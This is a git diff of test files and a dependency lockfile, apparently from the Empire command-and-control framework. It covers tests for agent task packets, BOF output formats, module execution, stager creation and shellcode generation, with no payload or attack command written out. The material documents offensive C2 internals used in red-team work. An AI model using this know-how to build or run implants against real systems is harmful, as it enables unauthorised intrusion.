command, data = module_service._handle_save_file_command( + "TASK_PYTHON", "python/trollsploit/osx/say", ".txt ", "data_here" + ) + assert command == "TASK_PYTHON_CMD_WAIT_SAVE" + # The prefix should be the basename "say" right-justified to 15 chars + assert data.startswith("say".rjust(15)) + assert ".txt " in data + assert data.endswith("data_here") + + +def test_handle_save_file_command_without_extension(module_service): + """Test _handle_save_file_command with empty extension returns CMD_WAIT.""" + command, data = module_service._handle_save_file_command( + "TASK_POWERSHELL", "powershell/collection/screenshot", "", "script_data" + ) + assert command == "TASK_POWERSHELL_CMD_WAIT" + assert data == "script_data" + + @pytest.mark.parametrize( ("agent_language", "module_language", "should_raise"), [ @@ -626,3 +652,94 @@ def test_validate_module_version_check( ) assert err is None assert options is not None + + +def test_format_bof_output_go_agent(module_service): + """Test format_bof_output returns base64 JSON with File and HexData for Go agents.""" + result = module_service.format_bof_output( + bof_data_b64="dGVzdA==", + hex_data="AAAA", + agent_language="go", + ) + + decoded = json.loads(base64.b64decode(result)) + assert decoded == {"File": "dGVzdA==", "HexData": "AAAA"} + assert "Entrypoint" not in decoded + + +def test_format_bof_output_dotnet_agent(module_service): + """Test format_bof_output returns file|,json format with Entrypoint for .NET agents.""" + result = module_service.format_bof_output( + bof_data_b64="dGVzdA==", + hex_data="AAAA", + agent_language="csharp", + obfuscate=False, + ) + + assert "|," in result + script_file, b64_json = result.split("|,", 1) + assert script_file # non-empty file path + + decoded = json.loads(base64.b64decode(b64_json)) + assert decoded["Entrypoint"] == "go" + assert decoded["File"] == "dGVzdA==" + assert decoded["HexData"] == "AAAA" + + +def test_format_bof_output_custom_entry_point(module_service): + """Test format_bof_output respects custom entry_point parameter.""" + result = module_service.format_bof_output( + bof_data_b64="dGVzdA==", + hex_data="AAAA", + agent_language="csharp", + entry_point="main", + ) + + _, b64_json = result.split("|,", 1) + decoded = json.loads(base64.b64decode(b64_json)) + assert decoded["Entrypoint"] == "main" + + +def test_execute_module_bof_go_agent(module_service, agent_mock): + """Test standard BOF module execution with Go agent produces correct format.""" + agent_mock.language = "go" + params = { + "Agent": agent_mock.session_id, + "Architecture": "x64", + "Server": ".", + } + module_id = "bof_situational_awareness_tasklist" + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, None + ) + + assert err is None + assert res.command == "TASK_BOF_CMD_WAIT" + + # Go format: base64 JSON with File + HexData, no Entrypoint + decoded = json.loads(base64.b64decode(res.data)) + assert "File" in decoded + assert "HexData" in decoded + assert "Entrypoint" not in decoded + + +def test_execute_module_bof_custom_generate_go_agent(module_service, agent_mock): + """Test custom-generate BOF module with Go agent returns Go format, not .NET format.""" + agent_mock.language = "go" + params = { + "Agent": agent_mock.session_id, + } + module_id = "bof_situational_awareness_clipboard_window_inject_list" + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, None + ) + + assert err is None + assert res.command == "TASK_BOF_CMD_WAIT" + + # Must be valid base64 JSON, not the .NET file|,json format + assert "|," not in res.data + decoded = json.loads(base64.b64decode(res.data)) + assert "File" in decoded + assert "HexData" in decoded + assert "Entrypoint" not in decoded diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py index 4629dcabe..4656e87a5 100644 --- a/empire/test/test_modules.py +++ b/empire/test/test_modules.py @@ -232,6 +232,7 @@ def test_auto_finalize( assert execute.data.strip() == "ScriptScriptEnd" +@pytest.mark.slow def test_ttps(install_path): module_dir = Path(install_path) / "modules" tactic_pattern = re.compile(r"TA\d{4}") diff --git a/empire/test/test_option_util.py b/empire/test/test_option_util.py index 7d73dd3d5..b818fb8ed 100644 --- a/empire/test/test_option_util.py +++ b/empire/test/test_option_util.py @@ -22,7 +22,7 @@ def test_validate_options_required_strict_success(): "enabled": "True", } - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == options @@ -82,7 +82,7 @@ def test_validate_options_required_missing_uses_default(): options = {} - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Command": "DEFAULT_VALUE"} @@ -104,7 +104,7 @@ def test_validate_options_casts_string_to_int_success(): "Port": "123", } - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Port": 123} @@ -122,7 +122,7 @@ def test_validate_options_missing_optional_field_no_default(): options = {} - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Command": ""} @@ -140,7 +140,7 @@ def test_validate_options_strict_required_no_default(): options = {} - cleaned_options, err = validate_options(instance_options, options, None, None) + _cleaned_options, err = validate_options(instance_options, options, None, None) assert err == "required option missing: Command" @@ -158,7 +158,7 @@ def test_validate_options_missing_optional_field_with_default(): options = {} - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Command": "Test"} @@ -176,7 +176,7 @@ def test_validate_options_missing_optional_field_with_default_and_strict(): options = {} - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {"Command": "Test"} @@ -193,7 +193,7 @@ def test_validate_options_with_uneditable_field(): options = {"UneditableField": "Test"} - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {} @@ -245,7 +245,7 @@ def test_validate_options_with_file(session_local, models): download_service_mock.get_by_id.return_value = download with session_local.begin() as db: - cleaned_options, err = validate_options( + cleaned_options, _err = validate_options( instance_options, options, db, download_service_mock ) @@ -570,6 +570,6 @@ def test_validation_options_file_not_required(): } options = {"File": ""} - cleaned_options, err = validate_options(instance_options, options, None, None) + cleaned_options, _err = validate_options(instance_options, options, None, None) assert cleaned_options == {"File": ""} diff --git a/empire/test/test_packet_handling.py b/empire/test/test_packet_handling.py index 697a5bd70..1b46865d2 100644 --- a/empire/test/test_packet_handling.py +++ b/empire/test/test_packet_handling.py @@ -1,22 +1,131 @@ -from os import urandom +import base64 +import struct from empire.server.common import packets -class TestRoutingPacketHandling: - def TestBuildRoutingPacket(self): - stagingKey = urandom(32) +class TestBuildTaskPacket: + def test_header_fields(self): + data = "test data" + packet = packets.build_task_packet("TASK_SHELL", data, 42) + task_type = struct.unpack("=H", packet[0:2])[0] + total_packets = struct.unpack("=H", packet[2:4])[0] + packet_num = struct.unpack("=H", packet[4:6])[0] + result_id = struct.unpack("=H", packet[6:8])[0] + length = struct.unpack("=L", packet[8:12])[0] + + assert task_type == packets.PACKET_NAMES["TASK_SHELL"] + assert total_packets == 1 + assert packet_num == 1 + assert result_id == 42 # noqa: PLR2004 + assert length == len(data.encode("UTF-8")) + + def test_data_payload(self): + data = "payload content" + packet = packets.build_task_packet("TASK_SYSINFO", data, 1) + assert packet[12:] == data.encode("UTF-8") + + +class TestParseResultPacket: + def test_roundtrip_with_build_task_packet(self): + data = base64.b64encode(b"result data").decode("UTF-8") + packet = packets.build_task_packet("TASK_SHELL", data, 5) + response_name, total, num, task_id, length, decoded_data, _remaining = ( + packets.parse_result_packet(packet) + ) + + assert response_name == "TASK_SHELL" + assert total == 1 + assert num == 1 + assert task_id == 5 # noqa: PLR2004 + assert length == len(data.encode("UTF-8")) + assert decoded_data == b"result data" + + def test_invalid_packet_returns_nones(self): + assert packets.parse_result_packet(b"short") == ( + None, + None, + None, + None, + None, + None, + None, + ) + + def test_with_offset(self): + prefix = b"\x00" * 10 + data = base64.b64encode(b"hello").decode("UTF-8") + packet = prefix + packets.build_task_packet("TASK_EXIT", data, 1) + result = packets.parse_result_packet(packet, offset=10) + assert result[0] == "TASK_EXIT" + + +class TestParseResultPackets: + def test_single_packet(self): + data = base64.b64encode(b"single").decode("UTF-8") + packet = packets.build_task_packet("TASK_SYSINFO", data, 1) + results = packets.parse_result_packets(packet) + assert len(results) == 1 + assert results[0][0] == "TASK_SYSINFO" + + def test_multiple_concatenated_packets(self): + data1 = base64.b64encode(b"first").decode("UTF-8") + data2 = base64.b64encode(b"second").decode("UTF-8") + pkt1 = packets.build_task_packet("TASK_SHELL", data1, 1) + pkt2 = packets.build_task_packet("TASK_EXIT", data2, 2) + results = packets.parse_result_packets(pkt1 + pkt2) + assert len(results) == 2 # noqa: PLR2004 + assert results[0][0] == "TASK_SHELL" + assert results[1][0] == "TASK_EXIT" + + +class TestBuildAndParseRoutingPacket: + def test_roundtrip(self): + staging_key = "A" * 32 + session_id = "ABCD1234" + enc_data = b"encrypted payload" + packet = packets.build_routing_packet( - stagingKey, 1, 2, "NONE", "NONE", "HelloWorld!" + staging_key, + session_id, + "powershell", + meta="STAGE0", + additional="NONE", + encData=enc_data, ) - # Check if packet is of correct size. - # Should be 44 + len(HelloWorld!) = 55 - assert len(packet) == 55 # noqa: PLR2004 + result = packets.parse_routing_packet(staging_key, packet) + + assert result is not None + assert session_id in result + language, meta, _additional, parsed_enc_data = result[session_id] + assert language == "POWERSHELL" + assert meta == "STAGE0" + assert parsed_enc_data == enc_data + + def test_none_data_returns_none(self): + assert packets.parse_routing_packet("A" * 32, None) is None - def TestParseRoutingPacket(self): - stagingKey = urandom(32) + def test_short_data_returns_none(self): + assert packets.parse_routing_packet("A" * 32, b"short") is None + + def test_empty_enc_data(self): + staging_key = "B" * 32 + session_id = "SESS0001" packet = packets.build_routing_packet( - stagingKey, 1, 2, "NONE", "NONE", "HelloWorld!" + staging_key, session_id, "python", meta="TASKING_REQUEST" ) - results = packets.parse_result_packet(packet, 0) - assert results[1][3] == "HelloWorld!" + result = packets.parse_routing_packet(staging_key, packet) + assert result is not None + assert result[session_id][0] == "PYTHON" + assert result[session_id][1] == "TASKING_REQUEST" + + +class TestResolveId: + def test_valid_id(self): + assert packets.resolve_id(40) == "TASK_SHELL" + + def test_invalid_id_returns_error(self): + assert packets.resolve_id(99999) == "ERROR" + + def test_string_id(self): + assert packets.resolve_id("1") == "TASK_SYSINFO" diff --git a/empire/test/test_plugin_registry_api.py b/empire/test/test_plugin_registry_api.py index 940b19753..d8311a2bd 100644 --- a/empire/test/test_plugin_registry_api.py +++ b/empire/test/test_plugin_registry_api.py @@ -99,7 +99,9 @@ def patch_install_plugin_from_git(plugin_service): plugin_service.install_plugin_from_git = original -class IsDict: # noqa: PLW1641 +class IsDict: + __hash__ = None # not hashable; used only for __eq__ assertions + def __eq__(self, other): return isinstance(other, dict) diff --git a/empire/test/test_plugin_service.py b/empire/test/test_plugin_service.py index 0e6d06f4c..1031882bd 100644 --- a/empire/test/test_plugin_service.py +++ b/empire/test/test_plugin_service.py @@ -59,6 +59,7 @@ def test_auto_execute_plugins(caplog, monkeypatch, models, empire_config, instal main_menu_mock = MagicMock() main_menu_mock.installPath = str(install_path) + main_menu_mock.install_path = Path(install_path) plugin_service = PluginService(main_menu_mock) plugin_service.startup() @@ -72,6 +73,7 @@ def execute(options, **kwargs): main_menu_mock = MagicMock() main_menu_mock.installPath = install_path + main_menu_mock.install_path = Path(install_path) plugin_service = PluginService(main_menu_mock) plugin_service.startup() @@ -80,7 +82,7 @@ def execute(options, **kwargs): plugin = plugin_holder.loaded_plugin with patch_plugin_execute(plugin, execute): req = PluginExecutePostRequest(options={"report": "session"}) - res, err = plugin_service.execute_plugin("db_session", plugin, req, 1) + res, _err = plugin_service.execute_plugin("db_session", plugin, req, 1) assert res == execute(req.options, db="db_session", user=1) @@ -88,6 +90,7 @@ def execute(options, **kwargs): def test_execute_plugin_file_option_not_found(install_path, session_local): main_menu_mock = MagicMock() main_menu_mock.installPath = install_path + main_menu_mock.install_path = Path(install_path) main_menu_mock.downloadsv2 = MagicMock() main_menu_mock.downloadsv2.get_by_id.return_value = None @@ -122,6 +125,7 @@ def test_execute_plugin_file_option_not_found(install_path, session_local): def test_execute_plugin_file_option(install_path, session_local, models): main_menu_mock = MagicMock() main_menu_mock.installPath = install_path + main_menu_mock.install_path = Path(install_path) download = models.Download(id=9999, filename="test_file", location="/tmp/test_file") main_menu_mock.downloadsv2 = MagicMock() @@ -171,6 +175,7 @@ def test_execute_plugin_file_option(install_path, session_local, models): def test_on_start_on_stop_called(install_path): main_menu_mock = MagicMock() main_menu_mock.installPath = install_path + main_menu_mock.install_path = Path(install_path) plugin_service = PluginService(main_menu_mock) plugin_service.startup() @@ -195,6 +200,7 @@ def test_on_start_on_stop_called(install_path): def test_on_load_on_unload_called(install_path): main_menu_mock = MagicMock() main_menu_mock.installPath = install_path + main_menu_mock.install_path = Path(install_path) plugin_service = PluginService(main_menu_mock) plugin_service.startup() @@ -269,6 +275,7 @@ def test__determine_auto_execute(empire_config, plugin_service): def test_plugin_load_exception(install_path, session_local): main_menu_mock = MagicMock() main_menu_mock.installPath = install_path + main_menu_mock.install_path = Path(install_path) plugin_service = PluginService(main_menu_mock) plugin_service.plugin_path = Path(install_path).parent / "test/plugin_install" diff --git a/empire/test/test_plugin_task_api.py b/empire/test/test_plugin_task_api.py index e8c080b80..d0212a22e 100644 --- a/empire/test/test_plugin_task_api.py +++ b/empire/test/test_plugin_task_api.py @@ -1,27 +1,8 @@ -import pytest from starlette import status PLUGIN_ID = "basic_reporting" -@pytest.fixture -def plugin_task(main, session_local, models): - with session_local.begin() as db: - task = models.PluginTask( - plugin_id=PLUGIN_ID, - input="This is the trimmed input for the task.", - input_full="This is the full input for the task.", - user_id=1, - plugin_options={"report": "all"}, - ) - db.add(task) - db.flush() - - task_id = task.id - - return task_id # noqa RET504 - - def test_get_tasks_for_plugin_not_found(client, admin_auth_header): response = client.get("/api/v2/plugins/abc/tasks", headers=admin_auth_header) assert response.status_code == status.HTTP_404_NOT_FOUND diff --git a/empire/test/test_shellcode_compiler.py b/empire/test/test_shellcode_compiler.py new file mode 100644 index 000000000..da116a162 --- /dev/null +++ b/empire/test/test_shellcode_compiler.py @@ -0,0 +1,73 @@ +from empire.server.utils.shellcode_compiler import _string_to_wchar_initializer + + +class TestStringToWcharInitializer: + """Tests for the _string_to_wchar_initializer helper.""" + + def test_basic_ascii(self): + """Test simple ASCII string produces char literals.""" + result = _string_to_wchar_initializer("hello") + assert result == "{'h','e','l','l','o',0}" + + def test_empty_string(self): + """Test empty string produces only null terminator.""" + result = _string_to_wchar_initializer("") + assert result == "{,0}" + + def test_single_char(self): + """Test single character string.""" + result = _string_to_wchar_initializer("A") + assert result == "{'A',0}" + + def test_single_quote_escaped(self): + """Test single quote is emitted as hex literal.""" + result = _string_to_wchar_initializer("it's") + assert result == "{'i','t',0x0027,'s',0}" + + def test_backslash_escaped(self): + """Test backslash is emitted as hex literal.""" + result = _string_to_wchar_initializer("a\\b") + assert result == "{'a',0x005c,'b',0}" + + def test_non_ascii_escaped(self): + """Test non-ASCII characters (ord > 126) are emitted as hex.""" + result = _string_to_wchar_initializer("\x80") + assert result == "{0x0080,0}" + + def test_control_char_escaped(self): + """Test control characters (ord < 32) are emitted as hex.""" + result = _string_to_wchar_initializer("\t") + assert result == "{0x0009,0}" + + def test_space_is_literal(self): + """Test space (ord 32) is a valid printable and emitted as literal.""" + result = _string_to_wchar_initializer(" ") + assert result == "{' ',0}" + + def test_tilde_is_literal(self): + """Test tilde (ord 126) is the max printable and emitted as literal.""" + result = _string_to_wchar_initializer("~") + assert result == "{'~',0}" + + def test_del_char_escaped(self): + """Test DEL (ord 127) exceeds max printable and is emitted as hex.""" + result = _string_to_wchar_initializer("\x7f") + assert result == "{0x007f,0}" + + def test_mixed_content(self): + """Test string with mixed printable and special characters.""" + result = _string_to_wchar_initializer("a'b") + assert result == "{'a',0x0027,'b',0}" + + def test_url_path(self): + """Test realistic URL path input.""" + result = _string_to_wchar_initializer("/login/process.php") + assert ( + result + == "{'/','l','o','g','i','n','/','p','r','o','c','e','s','s','.','p','h','p',0}" + ) + + def test_digits_and_symbols(self): + """Test digits and common symbols are treated as printable.""" + result = _string_to_wchar_initializer("8080") + assert result == "{'8','0','8','0',0}" diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index e48d16b71..1a076bee2 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -137,8 +137,16 @@ def get_base_csharp_exe_stager(): } +def get_windows_c_stager(): + return { + "name": "windows-c-test-stager", + "template": "windows_c_launcher", + "options": {"Listener": "new-listener-1", "OutFile": "test_stager.exe"}, + } + + def test_get_stager_templates(client, admin_auth_header): - min_stagers = 30 + min_stagers = 32 response = client.get( "/api/v2/stager-templates/", headers=admin_auth_header, @@ -563,6 +571,7 @@ def test_delete_stager(client, admin_auth_header): assert stager_id not in [stager["id"] for stager in response.json()["records"]] +@pytest.mark.slow def test_pyinstaller_stager_creation(client, admin_auth_header): pyinstaller_stager = get_pyinstaller_stager() response = client.post( @@ -709,9 +718,7 @@ def test_macro_stager_generation( # Check if the file is downloaded successfully assert response.status_code == status.HTTP_200_OK - assert response.headers.get("content-type").split(";")[0] in [ - "text/plain", - ] + assert response.headers.get("content-type").split(";")[0] == "text/plain" assert isinstance(response.content, bytes) # Check if the downloaded file is not empty @@ -721,6 +728,7 @@ def test_macro_stager_generation( client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) +@pytest.mark.slow def test_csharp_stager_creation(client, admin_auth_header): base_stager = get_base_csharp_exe_stager() @@ -760,3 +768,58 @@ def test_csharp_stager_creation(client, admin_auth_header): assert len(response.content) > 0 client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def test_windows_c_stager_creation(client, admin_auth_header): + stager_data = get_windows_c_stager() + + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=stager_data + ) + + assert response.status_code == status.HTTP_201_CREATED, response.text + assert response.json()["id"] != 0 + + stager_id = response.json()["id"] + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def test_create_stager_download_metadata(client, admin_auth_header): + """Verify that stager download metadata has basename-only filename.""" + base_stager = get_base_stager() + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager + ) + assert response.status_code == status.HTTP_201_CREATED + stager_id = response.json()["id"] + + downloads = response.json().get("downloads", []) + assert len(downloads) > 0 + + download = downloads[0] + filename = download["filename"] + # filename should be a basename, not a full path + assert "/" not in filename + assert "\\" not in filename + assert len(filename) > 0 + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def test_windows_c_stager_download(client, admin_auth_header): + stager_data = get_windows_c_stager() + + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=stager_data + ) + assert response.status_code == status.HTTP_201_CREATED + + stager_id = response.json()["id"] + download_link = response.json()["downloads"][0]["link"] + + response = client.get(download_link, headers=admin_auth_header) + assert response.status_code == status.HTTP_200_OK + assert isinstance(response.content, bytes) + assert len(response.content) > 0 + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) diff --git a/empire/test/test_stager_generation_service.py b/empire/test/test_stager_generation_service.py index 84b27a611..b5aa933fc 100644 --- a/empire/test/test_stager_generation_service.py +++ b/empire/test/test_stager_generation_service.py @@ -112,6 +112,7 @@ def decoded_powershell_if_needed(text: str) -> str: (True, True), ], ) +@pytest.mark.slow def test_obfuscate_generate_exe_oneliner(stager_generation_service, obfuscate, encode): launcher = stager_generation_service.generate_exe_oneliner( language="powershell", @@ -137,6 +138,7 @@ def test_generate_dll(stager_generation_service): ("net35", True), ], ) +@pytest.mark.slow def test_generate_powershell_exe(stager_generation_service, dot_net_version, obfuscate): result = stager_generation_service.generate_powershell_exe( "posh_code", dot_net_version, obfuscate @@ -187,6 +189,7 @@ def test_generate_powershell_shellcode( ("net40", True), ], ) +@pytest.mark.slow def test_generate_python_exe(stager_generation_service, dot_net_version, obfuscate): result = stager_generation_service.generate_python_exe( "python_code", dot_net_version, obfuscate @@ -216,6 +219,7 @@ def test_generate_python_shellcode(stager_generation_service, arch, dot_net_vers assert len(shellcode) > 0, "Generated shellcode is empty" +@pytest.mark.slow def test_generate_go_stageless(stager_generation_service): """ Test the generate_go_stageless function using a real listener (new-listener-1). @@ -356,6 +360,7 @@ def test_generate_appbundle(stager_generation_service): assert len(result) > 9000 # noqa: PLR2004 +@pytest.mark.slow def test_generate_jar(stager_generation_service): launcher_code = "import os; print('Hello, World!')" result = stager_generation_service.generate_jar(launcher_code) @@ -443,3 +448,50 @@ def test_multi_generate_agent_stageless_python(main): assert isinstance(result, str), "Expected generated code to be a string" assert "def run(" in result assert "class Stage" in result + + +@pytest.mark.skipif(is_arm, reason="Skipping test on ARM architecture") +@pytest.mark.parametrize( + ("arch", "dot_net_version"), + [ + ("x86", "net40"), + ("x64", "net40"), + ("both", "net40"), + ("x86", "net35"), + ("x64", "net35"), + ("both", "net35"), + ], +) +def test_generate_csharp_shellcode(stager_generation_service, arch, dot_net_version): + shellcode, err = stager_generation_service.generate_csharp_shellcode( + listener_name="new-listener-1", + arch=arch, + dot_net_version=dot_net_version, + ) + + assert err is None, f"Error occurred: {err}" + assert isinstance(shellcode, bytes), ( + f"Shellcode should be bytes, but got {type(shellcode)}" + ) + assert len(shellcode) > 100, f"Shellcode is too short: {len(shellcode)} bytes" # noqa: PLR2004 + + +@pytest.mark.skipif(is_arm, reason="Skipping test on ARM architecture") +@pytest.mark.parametrize( + "language", + [ + "powershell", + "csharp", + ], +) +def test_generate_shellcode(stager_generation_service, language): + shellcode, err = stager_generation_service.generate_shellcode( + language=language, + listener_name="new-listener-1", + ) + + assert err is None, f"Error occurred: {err}" + assert isinstance(shellcode, bytes), ( + f"Shellcode should be bytes, but got {type(shellcode)}" + ) + assert len(shellcode) > 100, f"Shellcode is too short: {len(shellcode)} bytes" # noqa: PLR2004 diff --git a/empire/test/test_startup_loaders.py b/empire/test/test_startup_loaders.py index 11d77d8b0..c37332c93 100644 --- a/empire/test/test_startup_loaders.py +++ b/empire/test/test_startup_loaders.py @@ -1,4 +1,5 @@ import sys +from pathlib import Path from unittest.mock import MagicMock, Mock from empire.server.core.bypass_service import BypassService @@ -19,6 +20,7 @@ def test_bypass_loader(monkeypatch): main_menu = Mock() main_menu.installPath = "empire/server" + main_menu.install_path = Path("empire/server") BypassService(main_menu) @@ -40,6 +42,7 @@ def test_listener_template_loader(monkeypatch): main_menu = Mock() main_menu.installPath = "empire/server" + main_menu.install_path = Path("empire/server") listener_template_service = ListenerTemplateService(main_menu) @@ -58,6 +61,7 @@ def test_stager_template_loader(monkeypatch): main_menu = Mock() main_menu.installPath = "empire/server" + main_menu.install_path = Path("empire/server") stager_template_service = StagerTemplateService(main_menu) @@ -76,6 +80,7 @@ def test_profile_loader(monkeypatch): main_menu = Mock() main_menu.installPath = "empire/server" + main_menu.install_path = Path("empire/server") ProfileService(main_menu) diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py index 870e723db..89145d35c 100644 --- a/empire/test/test_tags_api.py +++ b/empire/test/test_tags_api.py @@ -6,22 +6,6 @@ PLUGIN_ID = "basic_reporting" -@pytest.fixture -def plugin_task(main, session_local, models): - with session_local.begin() as db: - plugin_task = models.PluginTask( - plugin_id=PLUGIN_ID, - input="This is the trimmed input for the task.", - input_full="This is the full input for the task.", - user_id=1, - ) - db.add(plugin_task) - db.flush() - task_id = plugin_task.id - - return task_id # noqa RET504 - - def _test_add_tag(client, admin_auth_header, path, taggable_id): resp = client.post( f"{path}/{taggable_id}/tags", diff --git a/empire/test/test_user_api.py b/empire/test/test_user_api.py index 56baf95db..29674e26d 100644 --- a/empire/test/test_user_api.py +++ b/empire/test/test_user_api.py @@ -13,7 +13,7 @@ def test_user_credentials(): return {"username": username, "password": password} -@pytest.fixture(autouse=True) +@pytest.fixture def test_user_id(client, admin_auth_header, test_user_credentials): """Module-scoped fixture that creates a non-admin test user and returns the user ID""" response = client.post( @@ -32,7 +32,7 @@ def test_user_id(client, admin_auth_header, test_user_credentials): @pytest.fixture -def test_user_auth_token(client, test_user_credentials): +def test_user_auth_token(client, test_user_id, test_user_credentials): """Module-scoped fixture that provides auth token for the test user""" response = client.post( "/token", diff --git a/poetry.lock b/poetry.lock index 17a0909e2..bbd4a40b8 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,27 +1,39 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.0.1 and should not be changed by hand. [[package]] name = "aiofiles" -version = "24.1.0" +version = "25.1.0" description = "File support for asyncio." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "aiofiles-24.1.0-py3-none-any.whl", hash = "sha256:b4ec55f4195e3eb5d7abd1bf7e061763e864dd4954231fb8539a0ef8bb8260e5"}, - {file = "aiofiles-24.1.0.tar.gz", hash = "sha256:22a075c9e5a3810f0c2e48f3008c94d68c65d763b9b03857924c99e57355166c"}, + {file = "aiofiles-25.1.0-py3-none-any.whl", hash = "sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695"}, + {file = "aiofiles-25.1.0.tar.gz", hash = "sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2"}, ] [[package]] name = "altgraph" -version = "0.17.4" +version = "0.17.5" description = "Python graph (network) package" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "altgraph-0.17.4-py2.py3-none-any.whl", hash = "sha256:642743b4750de17e655e6711601b077bc6598dbfa3ba5fa2b2a35ce12b508dff"}, - {file = "altgraph-0.17.4.tar.gz", hash = "sha256:1b5afbb98f6c4dcadb2e2ae6ab9fa994bbb8c1d75f4fa96d340f9437ae454406"}, + {file = "altgraph-0.17.5-py2.py3-none-any.whl", hash = "sha256:f3a22400bce1b0c701683820ac4f3b159cd301acab067c51c653e06961600597"}, + {file = "altgraph-0.17.5.tar.gz", hash = "sha256:c87b395dd12fabde9c99573a9749d67da8d29ef9de0125c7f536699b4a9bc9e7"}, +] + +[[package]] +name = "annotated-doc" +version = "0.0.4" +description = "Document parameters, class attributes, return types, and variables inline, with Annotated." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"}, + {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"}, ] [[package]] @@ -38,82 +50,93 @@ files = [ [[package]] name = "anyio" -version = "4.10.0" +version = "4.12.1" description = "High-level concurrency and networking framework on top of asyncio or Trio" optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "anyio-4.10.0-py3-none-any.whl", hash = "sha256:60e474ac86736bbfd6f210f7a61218939c318f43f9972497381f1c5e930ed3d1"}, - {file = "anyio-4.10.0.tar.gz", hash = "sha256:3f3fae35c96039744587aa5b8371e7e8e603c0702999535961dd336026973ba6"}, + {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"}, + {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"}, ] [package.dependencies] idna = ">=2.8" -sniffio = ">=1.1" [package.extras] -trio = ["trio (>=0.26.1)"] +trio = ["trio (>=0.31.0)", "trio (>=0.32.0)"] [[package]] name = "bcrypt" -version = "4.3.0" +version = "5.0.0" description = "Modern password hashing for your software and your servers" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd"}, - {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af"}, - {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231"}, - {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c"}, - {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f"}, - {file = 